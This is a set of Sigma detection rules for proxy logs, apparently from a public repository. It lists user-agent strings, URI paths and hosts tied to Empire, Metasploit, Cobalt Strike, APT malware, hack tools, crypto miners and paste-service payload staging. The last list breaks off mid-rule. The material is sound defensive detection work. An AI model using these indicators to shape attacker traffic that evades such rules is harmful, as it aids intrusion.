"content": "title: HackTool - Empire UserAgent URI Combo\nid: b923f7d6-ac89-4a50-a71a-89fb846b4aa8\nstatus: test\ndescription: Detects user agent and URI paths used by empire agents\nreferences:\n - https://github.com/BC-SECURITY/Empire\nauthor: Florian Roth (Nextron Systems)\ndate: 2020-07-13\nmodified: 2024-02-26\ntags:\n - attack.defense-evasion\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection:\n c-useragent: 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'\n cs-uri:\n - '/admin/get.php'\n - '/news.php'\n - '/login/process.php'\n cs-method: 'POST'\n condition: selection\nfalsepositives:\n - Valid requests with this exact user agent to server scripts of the defined names\nlevel: high\n"
},
{
"path": "rules/web/proxy_generic/proxy_pua_advanced_ip_scanner_update_check.yml",
"content": "title: PUA - Advanced IP/Port Scanner Update Check\nid: 1a9bb21a-1bb5-42d7-aa05-3219c7c8f47d\nstatus: test\ndescription: Detect the update check performed by Advanced IP/Port Scanner utilities.\nreferences:\n - https://www.advanced-ip-scanner.com/\n - https://www.advanced-port-scanner.com/\nauthor: Axel Olsson\ndate: 2022-08-14\nmodified: 2024-02-15\ntags:\n - attack.discovery\n - attack.reconnaissance\n - attack.t1590\nlogsource:\n category: proxy\ndetection:\n selection:\n # Example request: http://www.advanced-port-scanner.com/checkupdate.php?lng=en&ver=2-5-3680&beta=n&type=upd&rmode=p&product=aps\n # Example request2: http://www.advanced-ip-scanner.com/checkupdate.php?lng=en&ver=2-5-3499&beta=n&type=upd&rmode=p&product=aips\n c-uri|contains: '/checkupdate.php'\n c-uri-query|contains|all:\n - 'lng='\n - 'ver='\n - 'beta='\n - 'type='\n - 'rmode='\n - 'product='\n condition: selection\nfalsepositives:\n - Expected if you legitimately use the Advanced IP or Port Scanner utilities in your environement.\nlevel: medium\n"
},
{
"path": "rules/web/proxy_generic/proxy_pwndrop.yml",
"content": "title: PwnDrp Access\nid: 2b1ee7e4-89b6-4739-b7bb-b811b6607e5e\nstatus: test\ndescription: Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity\nreferences:\n - https://breakdev.org/pwndrop/\nauthor: Florian Roth (Nextron Systems)\ndate: 2020-04-15\nmodified: 2021-11-27\ntags:\n - attack.command-and-control\n - attack.t1071.001\n - attack.t1102.001\n - attack.t1102.003\nlogsource:\n category: proxy\ndetection:\n selection:\n c-uri|contains: '/pwndrop/'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: critical\n"
},
{
"path": "rules/web/proxy_generic/proxy_raw_paste_service_access.yml",
"content": "title: Raw Paste Service Access\nid: 5468045b-4fcc-4d1a-973c-c9c9578edacb\nstatus: test\ndescription: Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form\nreferences:\n - https://www.virustotal.com/gui/domain/paste.ee/relations\nauthor: Florian Roth (Nextron Systems)\ndate: 2019-12-05\nmodified: 2023-01-19\ntags:\n - attack.command-and-control\n - attack.t1071.001\n - attack.t1102.001\n - attack.t1102.003\n - attack.defense-evasion\nlogsource:\n category: proxy\ndetection:\n selection:\n c-uri|contains:\n - '.paste.ee/r/'\n - '.pastebin.com/raw/'\n - '.hastebin.com/raw/'\n - '.ghostbin.co/paste/*/raw/'\n - 'pastetext.net/'\n - 'pastebin.pl/'\n - 'paste.ee/'\n condition: selection\nfalsepositives:\n - User activity (e.g. developer that shared and copied code snippets and used the raw link instead of just copy & paste)\nlevel: high\n"
},
{
"path": "rules/web/proxy_generic/proxy_susp_flash_download_loc.yml",
"content": "title: Flash Player Update from Suspicious Location\nid: 4922a5dd-6743-4fc2-8e81-144374280997\nstatus: test\ndescription: Detects a flashplayer update from an unofficial location\nreferences:\n - https://gist.github.com/roycewilliams/a723aaf8a6ac3ba4f817847610935cfb\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-10-25\nmodified: 2022-08-08\ntags:\n - attack.initial-access\n - attack.t1189\n - attack.execution\n - attack.t1204.002\n - attack.defense-evasion\n - attack.t1036.005\nlogsource:\n category: proxy\ndetection:\n selection:\n - c-uri|contains: '/flash_install.php'\n - c-uri|endswith: '/install_flash_player.exe'\n filter:\n cs-host|endswith: '.adobe.com'\n condition: selection and not filter\nfalsepositives:\n - Unknown flash download locations\nlevel: high\n"
},
{
"path": "rules/web/proxy_generic/proxy_susp_ipfs_cred_harvest.yml",
"content": "title: Suspicious Network Communication With IPFS\nid: eb6c2004-1cef-427f-8885-9042974e5eb6\nstatus: test\ndescription: Detects connections to interplanetary file system (IPFS) containing a user's email address which mirrors behaviours observed in recent phishing campaigns leveraging IPFS to host credential harvesting webpages.\nreferences:\n - https://blog.talosintelligence.com/ipfs-abuse/\n - https://github.com/Cisco-Talos/IOCs/tree/80caca039988252fbb3f27a2e89c2f2917f582e0/2022/11\n - https://isc.sans.edu/diary/IPFS%20phishing%20and%20the%20need%20for%20correctly%20set%20HTTP%20security%20headers/29638\nauthor: Gavin Knapp\ndate: 2023-03-16\ntags:\n - attack.collection\n - attack.credential-access\n - attack.t1056\nlogsource:\n category: proxy\ndetection:\n selection:\n cs-uri|re: '(?i)(ipfs\\.io/|ipfs\\.io\\s).+\\..+@.+\\.[a-z]+'\n condition: selection\nfalsepositives:\n - Legitimate use of IPFS being used in the organisation. However the cs-uri regex looking for a user email will likely negate this.\nlevel: low\n"
},
{
"path": "rules/web/proxy_generic/proxy_telegram_api.yml",
"content": "title: Telegram API Access\nid: b494b165-6634-483d-8c47-2026a6c52372\nstatus: test\ndescription: Detects suspicious requests to Telegram API without the usual Telegram User-Agent\nreferences:\n - https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/\n - https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/\n - https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/\nauthor: Florian Roth (Nextron Systems)\ndate: 2018-06-05\nmodified: 2023-05-18\ntags:\n - attack.defense-evasion\n - attack.command-and-control\n - attack.t1071.001\n - attack.t1102.002\nlogsource:\n category: proxy\ndetection:\n selection:\n cs-host: 'api.telegram.org' # Often used by Bots\n filter:\n c-useragent|contains:\n # Used https://core.telegram.org/bots/samples for this list\n - 'Telegram'\n - 'Bot'\n condition: selection and not filter\nfalsepositives:\n - Legitimate use of Telegram bots in the company\nlevel: medium\n"
},
{
"path": "rules/web/proxy_generic/proxy_ua_apt.yml",
"content": "title: APT User Agent\nid: 6ec820f2-e963-4801-9127-d8b2dce4d31b\nstatus: test\ndescription: Detects suspicious user agent strings used in APT malware in proxy logs\nreferences:\n - Internal Research\nauthor: Florian Roth (Nextron Systems), Markus Neis\ndate: 2019-11-12\nmodified: 2024-02-15\ntags:\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection:\n c-useragent:\n # APT Related\n - 'SJZJ (compatible; MSIE 6.0; Win32)' # APT Backspace\n - 'Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0' # APT GrizzlySteppe - ChopStick - US CERT https://www.cisa.gov/news-events/alerts/2017/02/10/enhanced-analysis-grizzly-steppe\n - 'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC' # Comment Crew Miniasp\n - 'Mozilla/4.0 (compatible; MSIE 7.4; Win32;32-bit)' # Comment Crew Miniasp\n - 'webclient' # Naikon APT\n - 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/200' # Naikon APT\n - 'Mozilla/4.0 (compatible; MSI 6.0;' # SnowGlobe Babar - yes, it is cut\n - 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0' # Sofacy - Xtunnel\n - 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:20.0) Gecko/20100101 Firefox/' # Sofacy - Xtunnel\n - 'Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/2' # Sofacy - Xtunnel\n - 'Mozilla/4.0' # Derusbi backdoor ELF https://github.com/fideliscyber/indicators/tree/master/FTA-1021\n - 'Netscape' # Unit78020 Malware\n - 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/20100719 Firefox/1.0.7' # Unit78020 Malware\n - 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Firefox/3.6.13 GTB7.1' # Winnti related\n - 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)' # Winnti related\n - 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NETCLR 2.0.50727)' # APT17\n - 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)' # Bronze Butler - Daserf\n - 'Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; SV1)' # Bronze Butler - Daserf\n - 'Mozilla/4.0 (compatible; MSIE 8.0; Win32)' # TSCookie https://app.any.run/tasks/0996b314-5133-491b-8d23-d431ffdec597\n - 'Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1' # Delphi downloader https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/\n - 'Mozilla/6.1 (compatible; MSIE 9.0; Windows NT 5.3; Trident/5.0)' # VPNFilter https://blog.talosintelligence.com/2018/05/VPNFilter.html\n - 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)' # Sofacy User-Agent https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/\n - 'Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko' # Sofacy User-Agent https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/\n - 'Mozilla v5.1 *' # Sofacy Zebrocy samples\n - 'MSIE 8.0' # Sofacy Azzy Backdoor from https://www.hybrid-analysis.com/sample/a80e29c0757bee05338fd5c22a542d852ad86c477068e3eb4aacc1c3e59e2eef?environmentId=100\n - 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)' # https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html\n - 'Mozilla/4.0 (compatible; RMS)' # Attacks on industrial enterprises using RMS and TeamViewer - https://securelist.com/attacks-on-industrial-enterprises-using-rms-and-teamviewer/87104/\n - 'Mozilla/4.0 (compatible; MSIE 6.0; DynGate)' # Attacks on industrial enterprises using RMS and TeamViewer - https://securelist.com/attacks-on-industrial-enterprises-using-rms-and-teamviewer/87104/\n - 'O/9.27 (W; U; Z)' # Cmstar https://www.virustotal.com/#/file/e4328011bb2b04abc856ccd04404c9f95d67167f6c291d343e8ffa8aa2aa2099/details\n - 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; Trident/5.0*' # KerrDown UA\n - 'Mozilla/5.0 (Windows NT 9; *' # Suspicious 'Windows NT 9' user agent - used by APT33 malware in 2018\n - 'hots scot' # Unknown iOS zero-day implant https://twitter.com/craiu/status/1176437994288484352?s=20\n - 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT)' # https://blog.telsy.com/meeting-powerband-the-apt33-net-powerton-variant/\n - 'Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36' # Hidden Cobra malware\n - 'Mozilla/5.0 (Windows NT 6.2; Win32; rv:47.0)' # Strong Pity loader https://twitter.com/VK_Intel/status/1264185981118406657\n - 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1;' # Mustang Panda https://insights.oem.avira.com/new-wave-of-plugx-targets-hong-kong/\n - 'Mozilla/5.0 (X11; Linux i686; rv:22.0) Firefox/22.0' # BackdoorDiplomacy https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/\n - 'Mozilla/5.0 Chrome/72.0.3626.109 Safari/537.36' # SideWalk malware used by Sparkling Goblin\n - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:FTS_06) Gecko/22.36.35.06 Firefox/2.0' # LitePower stager used by WRITE https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044/\n - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/100.0.1185.39' # https://www.microsoft.com/security/blog/2022/09/29/zinc-weaponizing-open-source-software/\n - 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E)' # https://www.microsoft.com/security/blog/2022/09/29/zinc-weaponizing-open-source-software/\n - 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 10.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)' # PlugX backdoor https://unit42.paloaltonetworks.com/thor-plugx-variant/\n - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246001' # RedCurl Downloader APT https://www.facct.ru/blog/redcurl-2024\n condition: selection\nfalsepositives:\n - Old browsers\nlevel: high\n"
},
{
"path": "rules/web/proxy_generic/proxy_ua_base64_encoded.yml",
"content": "title: Suspicious Base64 Encoded User-Agent\nid: d443095b-a221-4957-a2c4-cd1756c9b747\nrelated:\n - id: 894a8613-cf12-48b3-8e57-9085f54aa0c3\n type: derived\nstatus: test\ndescription: Detects suspicious encoded User-Agent strings, as seen used by some malware.\nreferences:\n - https://deviceatlas.com/blog/list-of-user-agent-strings#desktop\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2023-05-04\ntags:\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection:\n c-useragent|startswith:\n - 'Q2hyb21l' # Chrome Encoded with offset to not include padding\n - 'QXBwbGVXZWJLaX' # AppleWebKit Encoded with offset to not include padding\n - 'RGFsdmlr' # Dalvik Encoded with offset to not include padding\n - 'TW96aWxsY' # Mozilla Encoded with offset to not include padding (as used by YamaBot)\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/web/proxy_generic/proxy_ua_bitsadmin_susp_ip.yml",
"content": "title: Bitsadmin to Uncommon IP Server Address\nid: 8ccd35a2-1c7c-468b-b568-ac6cdf80eec3\nstatus: test\ndescription: Detects Bitsadmin connections to IP addresses instead of FQDN names\nreferences:\n - https://isc.sans.edu/diary/Microsoft+BITS+Used+to+Download+Payloads/21027\nauthor: Florian Roth (Nextron Systems)\ndate: 2022-06-10\nmodified: 2022-08-24\ntags:\n - attack.command-and-control\n - attack.t1071.001\n - attack.defense-evasion\n - attack.persistence\n - attack.t1197\n - attack.s0190\nlogsource:\n category: proxy\ndetection:\n selection:\n c-useragent|startswith: 'Microsoft BITS/'\n cs-host|endswith:\n - '1'\n - '2'\n - '3'\n - '4'\n - '5'\n - '6'\n - '7'\n - '8'\n - '9'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/web/proxy_generic/proxy_ua_bitsadmin_susp_tld.yml",
"content": "title: Bitsadmin to Uncommon TLD\nid: 9eb68894-7476-4cd6-8752-23b51f5883a7\nstatus: test\ndescription: Detects Bitsadmin connections to domains with uncommon TLDs\nreferences:\n - https://twitter.com/jhencinski/status/1102695118455349248\n - https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281/\nauthor: Florian Roth (Nextron Systems), Tim Shelton\ndate: 2019-03-07\nmodified: 2023-05-17\ntags:\n - attack.command-and-control\n - attack.t1071.001\n - attack.defense-evasion\n - attack.persistence\n - attack.t1197\n - attack.s0190\nlogsource:\n category: proxy\ndetection:\n selection:\n c-useragent|startswith: 'Microsoft BITS/'\n falsepositives:\n cs-host|endswith:\n - '.com'\n - '.net'\n - '.org'\n - '.scdn.co' # spotify streaming\n - '.sfx.ms' # Microsoft domain, example request: https://oneclient.sfx.ms/PreSignInSettings/Prod/2022-08-15-21-xx-xx/PreSignInSettingsConfig.json\n condition: selection and not falsepositives\nfalsepositives:\n - Rare programs that use Bitsadmin and update from regional TLDs e.g. .uk or .ca\nlevel: high\n"
},
{
"path": "rules/web/proxy_generic/proxy_ua_cryptominer.yml",
"content": "title: Crypto Miner User Agent\nid: fa935401-513b-467b-81f4-f9e77aa0dd78\nstatus: test\ndescription: Detects suspicious user agent strings used by crypto miners in proxy logs\nreferences:\n - https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65\n - https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h\nauthor: Florian Roth (Nextron Systems)\ndate: 2019-10-21\nmodified: 2021-11-27\ntags:\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection:\n c-useragent|startswith:\n # XMRig\n - 'XMRig '\n # CCMiner\n - 'ccminer'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/web/proxy_generic/proxy_ua_empty.yml",
"content": "title: HTTP Request With Empty User Agent\nid: 21e44d78-95e7-421b-a464-ffd8395659c4\nstatus: test\ndescription: |\n Detects a potentially suspicious empty user agent strings in proxy log.\n Could potentially indicate an uncommon request method.\nreferences:\n - https://twitter.com/Carlos_Perez/status/883455096645931008\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-07-08\nmodified: 2021-11-27\ntags:\n - attack.defense-evasion\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection:\n # Empty string - as used by Powershell's (New-Object Net.WebClient).DownloadString\n c-useragent: ''\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/web/proxy_generic/proxy_ua_frameworks.yml",
"content": "title: Exploit Framework User Agent\nid: fdd1bfb5-f60b-4a35-910e-f36ed3d0b32f\nstatus: test\ndescription: Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs\nreferences:\n - https://blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-07-08\nmodified: 2025-01-18\ntags:\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection:\n c-useragent:\n # Cobalt Strike https://www.cobaltstrike.com/help-malleable-c2\n - 'Internet Explorer *'\n - 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)' # https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/\n\n # Metasploit Framework - Analysis by Didier Stevens https://blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/\n - 'Mozilla/4.0 (compatible; Metasploit RSPEC)'\n - 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'\n - 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' # old browser, rare, base-lining needed\n - 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)' # old browser, rare, base-lining needed\n - 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)' # old browser, rare, base-lining needed\n - 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SIMBAR={7DB0F6DE-8DE7-4841-9084-28FA914B0F2E}; SLCC1; .N'\n - 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' # only use in proxy logs - not for detection in web server logs\n - 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/525.13'\n - 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MAAU)' # Payloads\n\n # Metasploit Update by Florian Roth 08.07.2017\n - 'Mozilla/5.0'\n - 'Mozilla/4.0 (compatible; SPIPE/1.0'\n # - 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' # too many false positives expected\n # - 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko' # too many false positives expected\n - 'Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/35.0'\n - 'Sametime Community Agent' # Unknown if prone to false positives - https://github.com/rapid7/metasploit-framework/blob/97095ab3113de2f046e64a64c461a1f888554401/modules/exploits/windows/http/steamcast_useragent.rb\n - 'X-FORWARDED-FOR'\n - 'DotDotPwn v2.1'\n - 'SIPDROID'\n - 'Mozilla/5.0 (Windows NT 10.0; Win32; x32; rv:60.0)' # CobaltStrike https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/\n\n # Empire\n - 'Mozilla/6.0 (X11; Linux x86_64; rv:24.0) Gecko/20140205 Firefox/27.0 Iceweasel/25.3.0'\n\n # Exploits\n - '*wordpress hash grabber*'\n - '*exploit*'\n\n # Havoc\n - 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36' # https://github.com/HavocFramework/Havoc/issues/519\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/web/proxy_generic/proxy_ua_hacktool.yml",
"content": "title: Hack Tool User Agent\nid: c42a3073-30fb-48ae-8c99-c23ada84b103\nstatus: test\ndescription: Detects suspicious user agent strings user by hack tools in proxy logs\nreferences:\n - https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb\n - http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-07-08\nmodified: 2022-07-07\ntags:\n - attack.initial-access\n - attack.t1190\n - attack.credential-access\n - attack.t1110\nlogsource:\n category: proxy\ndetection:\n selection:\n c-useragent|contains:\n # Vulnerability scanner and brute force tools\n - '(hydra)'\n - ' arachni/'\n - ' BFAC '\n - ' brutus '\n - ' cgichk '\n - 'core-project/1.0'\n - ' crimscanner/'\n - 'datacha0s'\n - 'dirbuster'\n - 'domino hunter'\n - 'dotdotpwn'\n - 'FHScan Core'\n - 'floodgate'\n - 'get-minimal'\n - 'gootkit auto-rooter scanner'\n - 'grendel-scan'\n - ' inspath '\n - 'internet ninja'\n - 'jaascois'\n - ' zmeu '\n - 'masscan'\n - ' metis '\n - 'morfeus fucking scanner'\n - 'n-stealth'\n - 'nsauditor'\n - 'pmafind'\n - 'security scan'\n - 'springenwerk'\n - 'teh forest lobster'\n - 'toata dragostea'\n - ' vega/'\n - 'voideye'\n - 'webshag'\n - 'webvulnscan'\n - ' whcc/'\n # SQL Injection\n - ' Havij'\n - 'absinthe'\n - 'bsqlbf'\n - 'mysqloit'\n - 'pangolin'\n - 'sql power injector'\n - 'sqlmap'\n - 'sqlninja'\n - 'uil2pn'\n # Hack tool\n - 'ruler' # https://www.crowdstrike.com/blog/using-outlook-forms-lateral-movement-persistence/\n - 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)' # SQLi Dumper\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/web/proxy_generic/proxy_ua_malware.yml",
"content": "title: Malware User Agent\nid: 5c84856b-55a5-45f1-826f-13f37250cf4e\nstatus: test\ndescription: Detects suspicious user agent strings used by malware in proxy logs\nreferences:\n - http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules\n - http://www.botopedia.org/search?searchword=scan&searchphrase=all\n - https://networkraptor.blogspot.com/2015/01/user-agent-strings.html\n - https://perishablepress.com/blacklist/ua-2013.txt\n - https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents\n - https://twitter.com/kladblokje_88/status/1614673320124743681?s=12&t=joEpeVa5d58aHYNGA_To7Q\n - https://pbs.twimg.com/media/FtYbfsDXoAQ1Y8M?format=jpg&name=large\n - https://twitter.com/crep1x/status/1635034100213112833\nauthor: Florian Roth (Nextron Systems), X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)\ndate: 2017-07-08\nmodified: 2024-04-14\ntags:\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection:\n c-useragent:\n # RATs\n - 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Chrome /53.0' # DragonOK\n - 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1)' # Used by PlugX - base-lining recommended - https://community.rsa.com/thread/185439\n - 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)' # Used by PlugX - base-lining recommended - https://community.rsa.com/thread/185439\n - 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)' # Used by PlugX - old - https://unit42.paloaltonetworks.com/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/\n - 'HttpBrowser/1.0' # HTTPBrowser RAT\n - '*<|>*' # Houdini / Iniduoh / njRAT\n - 'nsis_inetc (mozilla)' # ZeroAccess\n - 'Wget/1.9+cvs-stable (Red Hat modified)' # Dyre / Upatre\n # Ghost419 https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/\n - 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)'\n # Malware\n - '*zeroup*' # W32/Renos.Downloader\n - 'Mozilla/5.0 (Windows NT 5.1 ; v.*' # Kazy\n - '* adlib/*'\n - '* tiny' # Trojan Downloader\n - '* BGroom *' # Trojan Downloader\n - '* changhuatong'\n - '* CholTBAgent'\n - 'Mozilla/5.0 WinInet'\n - 'RookIE/1.0'\n - 'M' # HkMain\n - 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)' # Egamipload - old UA - probable prone to false positives\n - 'Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0)' # Yakes\n - 'backdoorbot'\n - 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30731)' # Sality\n - 'Opera/8.81 (Windows NT 6.0; U; en)' # Sality\n - 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30729)' # Sality\n - 'Opera' # Trojan Keragany\n - 'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)' # Fareit\n - 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)' # Webshell's back connect\n - 'MSIE' # Toby web shell\n - '*(Charon; Inferno)' # Loki Bot\n - 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0)' # Fareit / Pony\n - 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' # https://www.virustotal.com/gui/file/8abbef8e58f012d45a7cb46c3c2729dcd33cf53e721ff8c59e238862aa0a9e0e/detection\n - 'Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1)' # MacControl malware https://www.virustotal.com/gui/file/d60f61f1f03a5011a0240694e110c6d370bf68a92753093186c6d14e26a15428/detection https://www.symantec.com/connect/blogs/osxmacontrol-back-it-again\n - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' # used by Zebrocy malware https://app.any.run/tasks/7d7fa4a0-6970-4428-828b-29572abf9ceb/\n # Ursnif\n - 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)'\n - 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64)'\n # Emotet\n - 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)' # https://twitter.com/webbthewombat/status/1225827092132179968\n # Lockbit (https://twitter.com/kladblokje_88/status/1614673320124743681?s=12&t=joEpeVa5d58aHYNGA_To7Q)\n - 'Mozilla/5.0 (Windows NT 6.1)'\n - 'AppleWebkit/587.38 (KHTML, like Gecko)'\n - 'Chrome/91.0.4472.77'\n - 'Safari/537.36'\n - 'Edge/91.0.864.37'\n - 'Firefox/89.0'\n - 'Gecko/20100101'\n # Others\n - '* pxyscand*'\n - '* asd'\n - '* mdms'\n - 'sample'\n - 'nocase'\n - 'Moxilla'\n - 'Win32 *'\n - '*Microsoft Internet Explorer*'\n - 'agent *'\n - 'AutoIt' # Suspicious - base-lining recommended\n - 'IczelionDownLoad'\n - 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 10.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)' # https://unit42.paloaltonetworks.com/thor-plugx-variant/\n - 'record' # 